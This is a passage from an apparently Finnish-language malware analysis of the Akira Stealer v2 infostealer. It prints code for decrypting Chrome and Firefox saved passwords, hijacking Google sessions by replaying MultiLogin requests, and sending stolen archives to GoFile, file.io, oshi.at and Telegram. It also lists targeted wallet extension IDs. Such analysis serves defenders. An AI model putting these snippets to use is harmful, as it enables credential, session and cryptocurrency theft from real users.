käyttäjätunnukset, salasanat, luottokorttitiedot, evästeet, selaushistorian ja lomakkeentäyttömerkinnät. Salasanat ja maksudata puretaan AES-GCM:llä (tai Windowsin DPAPI-varajärjestelyllä), ja evästeet puretaan vastaavasti selkokielisten arvojensa paljastamiseksi. Google-tileillä ",[579,7075,7076],{},"token_service","-taulun salatut OAuth-tokenit puretaan ja toistetaan ",[579,7079,6832],{},"-API:a vastaan live-istuntoevästeiden regeneroimiseksi. Lopuksi Firefox-profiilit arkistoidaan kokonaisuudessaan (mukaan lukien ",[579,7082,7045],{},[579,7084,7048],{},[579,7086,7051],{},") ja toimitetaan ZIP-tiedostoina, jottei yhtään artefaktia jää jälkeen. Tämä päästä päähän -putki toimii hiljaa polun ",[579,7089,7090],{},"%TEMP%\\\u003CComputerName>"," alla ja tuottaa siististi järjestellyt tulostetiedostot jokaiselle datakategorialle.",[748,7093,7095],{"id":7094},"_75-salauksenpurkulogiikka","7.5 Salauksenpurkulogiikka",[526,7097,754],{},[526,7099,7100],{},"Nykyaikaiset selaimet, kuten Chrome ja Edge, salaavat arkaluonteisen datan—kuten salasanat, evästeet ja luottokorttitiedot—ennen kuin tallentavat ne paikallisesti. Akira sisältää sisäänrakennetut salauksenpurkurutiinit, jotka on räätälöity käsittelemään sekä vanhoja että nykyisiä Chromiumin salausmenetelmiä. Tämä varmistaa, että se voi poimia selkokielistä dataa riippumatta järjestelmän päivitystasosta tai selaimen versiosta.",[526,7102,7103],{},"Tämän prosessin ytimessä on selaimen pääsalausavaimen poiminta ja purku, joka on tallennettu tiedostoon Local State. Selaimen version ja Windows-koontiversion mukaan Akira valitsee dynaamisesti sopivan salauksenpurkumenetelmän:",[526,7105,7106],{},"DPAPI (Data Protection API) on käytössä vanhemmissa järjestelmissä, joissa Chrome tallentaa salaisuudet nykyisen käyttäjän Windows-tunnistetiedoilla suojattuina.",[526,7108,7109],{},"AES-GCM on käytössä nykyaikaisissa Chromium-koontiversioissa, joissa satunnaisesti generoitu pääavain on itsessään salattu DPAPI:lla ja jota käytetään sitten käyttäjädatan sovelluksensisäiseen salaukseen.",[526,7111,7112],{},"Purkamalla ensin Local State -pääavaimen Akira saa kyvyn avata kaikki selaimen salaisuudet—raivaten tien tunnistetietojen, tokenien, evästeiden ja muun poimintaan.",[526,7114,7115],{},[568,7116,7117],{},"Avaimen poiminta",[616,7119,7121],{"className":4529,"code":7120,"language":4531,"meta":530,"style":530},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[579,7122,7123,7128,7133,7138],{"__ignoreMap":530},[1718,7124,7125],{"class":1720,"line":1721},[1718,7126,7127],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1718,7129,7130],{"class":1720,"line":531},[1718,7131,7132],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1718,7134,7135],{"class":1720,"line":2102},[1718,7136,7137],{},"    local_state = json.load(f)\n",[1718,7139,7140],{"class":1720,"line":2108},[1718,7141,7142],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[526,7144,7145],{},[568,7146,7147],{},"Salauksen purku (AES-GCM):",[616,7149,7151],{"className":4529,"code":7150,"language":4531,"meta":530,"style":530},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[579,7152,7153,7158,7163,7168,7173],{"__ignoreMap":530},[1718,7154,7155],{"class":1720,"line":1721},[1718,7156,7157],{},"nonce = value[3:15]\n",[1718,7159,7160],{"class":1720,"line":531},[1718,7161,7162],{},"ciphertext = value[15:-16]\n",[1718,7164,7165],{"class":1720,"line":2102},[1718,7166,7167],{},"tag = value[-16:]\n",[1718,7169,7170],{"class":1720,"line":2108},[1718,7171,7172],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1718,7174,7175],{"class":1720,"line":2432},[1718,7176,7177],{},"decrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[526,7179,7180,7181,726],{},"Jos tarvitaan varajärjestelynä DPAPI:a (vanhemmissa järjestelmissä), se käyttää funktiota ",[579,7182,7183],{},"win32crypt.CryptUnprotectData()",[526,7185,7186,7192],{},[568,7187,7188,7191],{},[579,7189,7190],{},"decrypt_password_blob",":n selitys:","\nTämä funktio havainnollistaa, miten Akira Stealer purkaa jokaisen tallennetun salasana-arvon Chromium-pohjaisista selaimista. Se käsittelee kaksi tapausta:",[738,7194,7195,7205],{},[634,7196,7197,7200,7201,7204],{},[568,7198,7199],{},"Windowsin DPAPI-möykyt"," (vanhempi tai ei-GCM-salattu data): Palautuu järjestelmäkutsuun ",[579,7202,7203],{},"CryptUnprotectData",", joka käyttää käyttäjän Windows-tunnistetietoja salauksen purkuun.",[634,7206,7207,7210,7211,7214],{},[568,7208,7209],{},"AES-GCM-salatut möykyt"," (Chrome v10/v11 -muoto): Jäsentää versiotunnisteen, poimii IV:n ja todennustagin ja käyttää ",[579,7212,7213],{},"cryptography","-kirjastoa payloadin turvalliseen purkamiseen.",[616,7216,7218],{"className":4529,"code":7217,"language":4531,"meta":530,"style":530},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[579,7219,7220,7225,7230,7234,7238,7243,7247,7252,7256,7261,7266,7271,7275,7280,7285,7289,7294,7299,7304,7309,7313,7318,7323,7328,7333,7338,7343,7348,7353,7358,7362,7367,7372,7377,7382,7387,7391,7396,7400,7405,7410,7414,7419],{"__ignoreMap":530},[1718,7221,7222],{"class":1720,"line":1721},[1718,7223,7224],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1718,7226,7227],{"class":1720,"line":531},[1718,7228,7229],{},"from cryptography.hazmat.backends import default_backend\n",[1718,7231,7232],{"class":1720,"line":2102},[1718,7233,3889],{"emptyLinePlaceholder":325},[1718,7235,7236],{"class":1720,"line":2108},[1718,7237,3889],{"emptyLinePlaceholder":325},[1718,7239,7240],{"class":1720,"line":2432},[1718,7241,7242],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1718,7244,7245],{"class":1720,"line":2438},[1718,7246,5867],{},[1718,7248,7249],{"class":1720,"line":3096},[1718,7250,7251],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1718,7253,7254],{"class":1720,"line":3892},[1718,7255,3889],{"emptyLinePlaceholder":325},[1718,7257,7258],{"class":1720,"line":3898},[1718,7259,7260],{},"    Parameters:\n",[1718,7262,7263],{"class":1720,"line":4144},[1718,7264,7265],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1718,7267,7268],{"class":1720,"line":5063},[1718,7269,7270],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1718,7272,7273],{"class":1720,"line":5069},[1718,7274,3889],{"emptyLinePlaceholder":325},[1718,7276,7277],{"class":1720,"line":5075},[1718,7278,7279],{},"    Returns:\n",[1718,7281,7282],{"class":1720,"line":5081},[1718,7283,7284],{},"    - Decrypted UTF-8 plaintext password\n",[1718,7286,7287],{"class":1720,"line":5087},[1718,7288,5867],{},[1718,7290,7291],{"class":1720,"line":5093},[1718,7292,7293],{},"    # 1) DPAPI fallback for non-AES-GCM blobs\n",[1718,7295,7296],{"class":1720,"line":5099},[1718,7297,7298],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1718,7300,7301],{"class":1720,"line":5105},[1718,7302,7303],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1718,7305,7306],{"class":1720,"line":5111},[1718,7307,7308],{},"        return CryptUnprotectData(buffer)\n",[1718,7310,7311],{"class":1720,"line":5117},[1718,7312,3889],{"emptyLinePlaceholder":325},[1718,7314,7315],{"class":1720,"line":5123},[1718,7316,7317],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1718,7319,7320],{"class":1720,"line":5129},[1718,7321,7322],{},"    # Bytes layout:\n",[1718,7324,7325],{"class":1720,"line":5135},[1718,7326,7327],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1718,7329,7330],{"class":1720,"line":5141},[1718,7331,7332],{},"    # [3:15]   = initialization vector (IV)\n",[1718,7334,7335],{"class":1720,"line":5147},[1718,7336,7337],{},"    # [15:-16] = ciphertext payload\n",[1718,7339,7340],{"class":1720,"line":5814},[1718,7341,7342],{},"    # [-16:]   = GCM authentication tag\n",[1718,7344,7345],{"class":1720,"line":5819},[1718,7346,7347],{},"    iv = buffer[3:15]\n",[1718,7349,7350],{"class":1720,"line":5824},[1718,7351,7352],{},"    ciphertext = buffer[15:-16]\n",[1718,7354,7355],{"class":1720,"line":5829},[1718,7356,7357],{},"    tag = buffer[-16:]\n",[1718,7359,7360],{"class":1720,"line":5835},[1718,7361,3889],{"emptyLinePlaceholder":325},[1718,7363,7364],{"class":1720,"line":740},[1718,7365,7366],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1718,7368,7369],{"class":1720,"line":5844},[1718,7370,7371],{},"    cipher = Cipher(\n",[1718,7373,7374],{"class":1720,"line":5849},[1718,7375,7376],{},"        algorithms.AES(key),\n",[1718,7378,7379],{"class":1720,"line":5854},[1718,7380,7381],{},"        modes.GCM(iv, tag),\n",[1718,7383,7384],{"class":1720,"line":5859},[1718,7385,7386],{},"        backend=default_backend()\n",[1718,7388,7389],{"class":1720,"line":5864},[1718,7390,5993],{},[1718,7392,7393],{"class":1720,"line":5870},[1718,7394,7395],{},"    decryptor = cipher.decryptor()\n",[1718,7397,7398],{"class":1720,"line":5876},[1718,7399,3889],{"emptyLinePlaceholder":325},[1718,7401,7402],{"class":1720,"line":5882},[1718,7403,7404],{},"    # Perform decryption; raises if authentication fails\n",[1718,7406,7407],{"class":1720,"line":5887},[1718,7408,7409],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1718,7411,7412],{"class":1720,"line":5892},[1718,7413,3889],{"emptyLinePlaceholder":325},[1718,7415,7416],{"class":1720,"line":5897},[1718,7417,7418],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1718,7420,7421],{"class":1720,"line":5902},[1718,7422,7423],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[748,7425,7427],{"id":7426},"_76-istuntotokenien-kaappaus","7.6 Istuntotokenien kaappaus",[526,7429,754],{},[526,7431,7432,7433,7436],{},"Akira ei pysähdy passiiviseen datankeruuseen—se kaappaa aktiivisesti live-istuntotokeneja esiintyäkseen uhreina reaaliajassa. Poimittuaan salatut tokenit selaimen varastosta se rekonstruoi vaaditun valtuutusotsikon ja toistaa ",[568,7434,7435],{},"MultiLogin","-pyynnön Googlen OAuth-päätepistettä vastaan. Alla oleva koodikatkelma havainnollistaa tätä prosessia:",[616,7438,7440],{"className":4529,"code":7439,"language":4531,"meta":530,"style":530},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim’s cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[579,7441,7442,7447,7452,7457,7462,7467,7472,7477,7482,7487,7491,7496,7501,7506,7511,7516,7520,7525,7530],{"__ignoreMap":530},[1718,7443,7444],{"class":1720,"line":1721},[1718,7445,7446],{},"# Build SAPISIDHASH header for Google services\n",[1718,7448,7449],{"class":1720,"line":531},[1718,7450,7451],{},"origin = \"https://accounts.google.com\"\n",[1718,7453,7454],{"class":1720,"line":2102},[1718,7455,7456],{},"timestamp = int(time.time())\n",[1718,7458,7459],{"class":1720,"line":2108},[1718,7460,7461],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1718,7463,7464],{"class":1720,"line":2432},[1718,7465,7466],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1718,7468,7469],{"class":1720,"line":2438},[1718,7470,7471],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1718,7473,7474],{"class":1720,"line":3096},[1718,7475,7476],{},"headers = {\n",[1718,7478,7479],{"class":1720,"line":3892},[1718,7480,7481],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1718,7483,7484],{"class":1720,"line":3898},[1718,7485,7486],{},"    \"Content-Type\": \"application/json\"\n",[1718,7488,7489],{"class":1720,"line":4144},[1718,7490,2441],{},[1718,7492,7493],{"class":1720,"line":5063},[1718,7494,7495],{},"# Replay MultiLogin to fetch valid session cookies\n",[1718,7497,7498],{"class":1720,"line":5069},[1718,7499,7500],{},"response = requests.post(\n",[1718,7502,7503],{"class":1720,"line":5075},[1718,7504,7505],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1718,7507,7508],{"class":1720,"line":5081},[1718,7509,7510],{},"    headers=headers,\n",[1718,7512,7513],{"class":1720,"line":5087},[1718,7514,7515],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1718,7517,7518],{"class":1720,"line":5093},[1718,7519,5282],{},[1718,7521,7522],{"class":1720,"line":5099},[1718,7523,7524],{},"if response.status_code == 200:\n",[1718,7526,7527],{"class":1720,"line":5105},[1718,7528,7529],{},"    # Victim’s cookies now present in response.cookies\n",[1718,7531,7532],{"class":1720,"line":5111},[1718,7533,7534],{},"    hijacked_cookies = response.cookies\n",[526,7536,7537],{},"Toistamalla tämän pyynnön Akira voi esiintyä käyttäjän Gmailina, Drivena tai minä tahansa muuna kelvollisen istunnon suojaamana Google-palveluna—ilman tunnistetietoja. Tämä tekniikka hyödyntää Googlen omaa tokenien hyväksymislogiikkaa, mikä tekee siitä lähes erottamattoman laillisesta asiakaskäyttäytymisestä.",[748,7539,7541],{"id":7540},"_77-firefox-salauksen-purku","7.7 Firefox-salauksen purku",[526,7543,754],{},[526,7545,7546,7547,7550],{},"Gecko‑pohjaiset selaimet kuten Firefox salaavat tallennetut tunnistetiedot ja evästeet pääavaimella, joka on tallennettu tiedostoon ",[579,7548,7549],{},"key4.db",". Akira sisältää riisutun salauksenpurkurutiinin, joka peilaa Mozillan NSS-logiikkaa ja käsittelee sekä 3DES- että AES‑CBC-variantit laukaisematta pääsalasanakehotetta. Esimerkkikäyttö:",[616,7552,7554],{"className":4529,"code":7553,"language":4531,"meta":530,"style":530},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[579,7555,7556,7561,7566,7571,7576,7581,7585,7590,7595,7600,7605,7610,7615,7620,7625,7630,7635,7639],{"__ignoreMap":530},[1718,7557,7558],{"class":1720,"line":1721},[1718,7559,7560],{},"# Load global Salt and encrypted item from key4.db\n",[1718,7562,7563],{"class":1720,"line":531},[1718,7564,7565],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1718,7567,7568],{"class":1720,"line":2102},[1718,7569,7570],{},"cursor = db.cursor()\n",[1718,7572,7573],{"class":1720,"line":2108},[1718,7574,7575],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1718,7577,7578],{"class":1720,"line":2432},[1718,7579,7580],{},"global_salt, item2 = cursor.fetchone()\n",[1718,7582,7583],{"class":1720,"line":2438},[1718,7584,3889],{"emptyLinePlaceholder":325},[1718,7586,7587],{"class":1720,"line":3096},[1718,7588,7589],{},"# Decode DER structure and derive key\n",[1718,7591,7592],{"class":1720,"line":3892},[1718,7593,7594],{},"decoded, _ = der_decode(item2)\n",[1718,7596,7597],{"class":1720,"line":3898},[1718,7598,7599],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1718,7601,7602],{"class":1720,"line":4144},[1718,7603,7604],{},"cipher_text = decoded[1].asOctets()\n",[1718,7606,7607],{"class":1720,"line":5063},[1718,7608,7609],{},"# Derive 3DES key\n",[1718,7611,7612],{"class":1720,"line":5069},[1718,7613,7614],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1718,7616,7617],{"class":1720,"line":5075},[1718,7618,7619],{},"iv = decoded[0][1][1].asOctets()\n",[1718,7621,7622],{"class":1720,"line":5081},[1718,7623,7624],{},"# Decrypt credentials\n",[1718,7626,7627],{"class":1720,"line":5087},[1718,7628,7629],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1718,7631,7632],{"class":1720,"line":5093},[1718,7633,7634],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1718,7636,7637],{"class":1720,"line":5099},[1718,7638,3889],{"emptyLinePlaceholder":325},[1718,7640,7641],{"class":1720,"line":5105},[1718,7642,7643],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[526,7645,7646,7647,7649,7650,7652,7653,7655],{},"Tämän rutiinin avulla Akira voi läpinäkyvästi dumpata ",[579,7648,7045],{},"-, ",[579,7651,7048],{},"- ja ",[579,7654,7051],{},"-tiedostot jokaisesta Firefox-profiilista ja kirjoittaa puretun tulosteen polkuun:",[616,7657,7660],{"className":7658,"code":7659,"language":621},[619],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[579,7661,7659],{"__ignoreMap":530},[526,7663,7664],{},"Tämä lähestymistapa ohittaa käyttäjätason pääsalasanatarkistukset ja antaa stealerille esteettömän pääsyn kaikkiin tallennettuihin tunnistetietoihin.*",[526,7666,7667],{},[568,7668,7669],{},"4. Tiedostorakenne ja nimeäminen",[616,7671,7674],{"className":7672,"code":7673,"language":621,"meta":530},[619],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   ├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[579,7675,7673],{"__ignoreMap":530},[631,7677,7678,7692,7698],{},[634,7679,7680,7681,7684,7685,7688,7689,2079],{},"Jokainen ",[579,7682,7683],{},".txt"," alkaa yhdenmukaisella otsikolla (",[579,7686,7687],{},"\u003C================[Akira Stealer v2]>================>",") ja erotinrivillä (",[579,7690,7691],{},"====…====",[634,7693,7694,7695,726],{},"Levyllä oleva ZIP: ",[579,7696,7697],{},"%TEMP%\\\u003CComputerName>.zip",[634,7699,7700,7701,726],{},"C&C-tiedostonimen tunniste: ",[579,7702,7703],{},"Akira-\u003Cusername>.zip",[526,7705,7706],{},[568,7707,7708],{},"5. Exfiltraatio ja siivous",[616,7710,7712],{"className":4529,"code":7711,"language":4531,"meta":530,"style":530},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[579,7713,7714,7719,7724,7729,7734],{"__ignoreMap":530},[1718,7715,7716],{"class":1720,"line":1721},[1718,7717,7718],{},"url = Webhook.uploadToGofile(zip_path)\n",[1718,7720,7721],{"class":1720,"line":531},[1718,7722,7723],{},"if not url:\n",[1718,7725,7726],{"class":1720,"line":2102},[1718,7727,7728],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1718,7730,7731],{"class":1720,"line":2108},[1718,7732,7733],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1718,7735,7736],{"class":1720,"line":2432},[1718,7737,7738],{},"Utils.clear_client_folder()\n",[631,7740,7741,7751,7765,7782],{},[634,7742,7743,7746,7747,7750],{},[568,7744,7745],{},"Ensisijainen kanava (GoFile.io):"," Haittaohjelma yrittää ensin ladata kaikki varastetut artefaktit sisältävän ZIP-arkiston GoFile.io-palveluun ja jäsentää JSON-vastauksesta ",[579,7748,7749],{},"downloadPage","-URL:n, joka antaa hyökkääjälle suoran pääsyn arkistoon.",[634,7752,7753,7756,7757,7760,7761,7764],{},[568,7754,7755],{},"Automaattiset varajärjestelyt:"," Jos GoFile-päätepiste epäonnistuu (verkon aikakatkaisu, käyttörajoitus jne.), koodi palautuu saumattomasti ",[579,7758,7759],{},"file.io",":hon, ja jos sekin palauttaa tyhjän linkin, lopulta ",[579,7762,7763],{},"oshi.at",":hen. Kummatkin vaihtoehdot kutsutaan poikkeuksia nostamatta, mikä varmistaa, että jokin kolmesta palvelusta yritetään aina peräkkäin.",[634,7766,7767,7770,7771,7774,7775,647,7778,7781],{},[568,7768,7769],{},"Webhook-raportointi:"," Kun URL (tai tyhjä merkkijono pysyvässä epäonnistumisessa) on selvitetty, kutsutaan ",[579,7772,7773],{},"Webhook.sendDataTG(...)",", joka paketoi yhteen latauslinkin, koneen tunnisteet (",[579,7776,7777],{},"chatId",[579,7779,7780],{},"startup","-lippu) ja kaikki kategorioiden lukumäärät (salasanat, evästeet, automaattiset täytöt, lompakot) yhdeksi Discord- tai Telegram-viestiksi.",[634,7783,7784,7787,7788,7791],{},[568,7785,7786],{},"Välitön siivous:"," Raportoinnin jälkeen ",[579,7789,7790],{},"Utils.clear_client_folder()"," poistaa rekursiivisesti koko väliaikaisen työtilan ja itse ZIP-tiedoston, jättämättä jälkeä kerätystä datasta tai arkistosta levylle.",[856,7793,7794,7799],{},[526,7795,7796],{},[568,7797,7798],{},"Vikasietoisuus:",[631,7800,7801,7808],{},[634,7802,7803,7804,7807],{},"Kaikki latausrutiinit palauttavat ",[579,7805,7806],{},"\"\""," epäonnistuessaan sen sijaan että heittäisivät poikkeuksen, mikä takaa koodin suoritusvirran jatkumisen.",[634,7809,7810],{},"Vaikka jokainen palvelu olisi tavoittamattomissa, haittaohjelma lähettää silti webhook-raportin (tosin puuttuvalla linkillä) ennen paikallisten artefaktien pyyhkimistä, mikä minimoi forensiset jäänteet, ellei prosessi kaadu odottamatta.",[862,7812],{"className":7813},[865,866],[526,7815,7816],{},[568,7817,7818],{},"6. Vankkuus ja virheenkäsittely",[631,7820,7821,7839,7845,7854],{},[634,7822,7823,7826,7827,7830,7831,7834,7835,7838],{},[568,7824,7825],{},"Yksityiskohtainen poikkeustenkäsittely:"," Jokainen tiedostojärjestelmävuorovaikutus—olipa se ",[579,7828,7829],{},"shutil.copy",", SQLite-kyselyt tai ZIP-operaatiot—on kääritty ",[579,7832,7833],{},"try/except","-lohkoihin. Kun virhe tapahtuu (lukittu tietokanta, käyttöoikeus evätty, virheellinen tietue), poikkeus napataan ja kirjataan ",[579,7836,7837],{},"Akira.logErrorTg()","-funktiolla, ja suoritus jatkuu, mikä eristää epäonnistumisen kyseiseen tiedostoon tai moduuliin.",[634,7840,7841,7844],{},[568,7842,7843],{},"Säikeistetty eristys selainkohtaisesti:"," Kunkin tuetun selaimen poimintarutiinit suoritetaan omassa säikeessään. Tämä monisäikeinen suunnittelu varmistaa, ettei yhden selaimen poiminnan kaatuminen tai lukkiutuminen (esim. korruptoitunut profiili, puuttuva avain) pysäytä tai viivytä muiden selaimien analyysiä.",[634,7846,7847,7850,7851,7853],{},[568,7848,7849],{},"Hiljaiset varajärjestelyt ja oletukset:"," Monet aputoiminnot, kuten lataus vaihtoehtoisiin tiedostopalveluihin, etäresurssien tarkistus tai aliprosessien käynnistys, käyttävät sisäkkäisiä ",[579,7852,7833],{},"-lohkoja ilman pintatason hälytyksiä—mikä maksimoi huomaamattomuuden. Oletusarvot (tyhjät merkkijonot, totuusarvot) valitaan pitämään suoritusvirta keskeytymättömänä ja poistamaan ilmeiset virhetilanteet.",[634,7855,7856,7859,7860,7863,7864,7867],{},[568,7857,7858],{},"Mutex- ja käynnistysvahdit:"," Nimetty mutex (",[579,7861,7862],{},"1qsMlseJplTlArIF14f",") estää useat instanssit, ja rekisteritarkistukset ja ",[579,7865,7866],{},"Utils.CreateMutex()"," suojaavat samanaikaisilta suorituksilta, mikä tuo lisävakautta todellisessa käyttöönotossa.",[748,7869,7871],{"id":7870},"_78-lompakoiden-ja-tokenien-exfiltraatio","7.8 Lompakoiden ja tokenien exfiltraatio",[526,7873,754],{},[526,7875,7876],{},"Tässä vaiheessa Akira Stealer v2 suorittaa kattavimman haravoinnin kryptovaluuttatunnistetietojen ja istuntotokenien varalta, kattaen selainlaajennukset, työpöytälompakot, viestintätokenit ja live-keyloggauksen. Se suoritetaan rinnakkaisissa säikeissä, mikä varmistaa, ettei yhtään vektoria jää huomiotta. Alla on vaihe vaiheelta etenevä, koodiin nojaava syväsukellus.",[897,7878,7880],{"id":7879},"_781-selainlaajennuslompakot","7.8.1 Selainlaajennuslompakot",[526,7882,903],{},[526,7884,7885,7888],{},[568,7886,7887],{},"Kohteet:"," Yli 80 laajennusta suosituissa selaimissa, mukaan lukien MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman ja muita.",[616,7890,7892],{"className":4529,"code":7891,"language":4531,"meta":530,"style":530},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[579,7893,7894,7899,7904,7909,7914,7919,7924,7929,7934,7939,7944,7949,7954,7959,7964,7969,7974,7979,7984,7989,7994,7999,8004],{"__ignoreMap":530},[1718,7895,7896],{"class":1720,"line":1721},[1718,7897,7898],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1718,7900,7901],{"class":1720,"line":531},[1718,7902,7903],{},"walletsExtensions = [\n",[1718,7905,7906],{"class":1720,"line":2102},[1718,7907,7908],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1718,7910,7911],{"class":1720,"line":2108},[1718,7912,7913],{},"    [\"Phantom\",         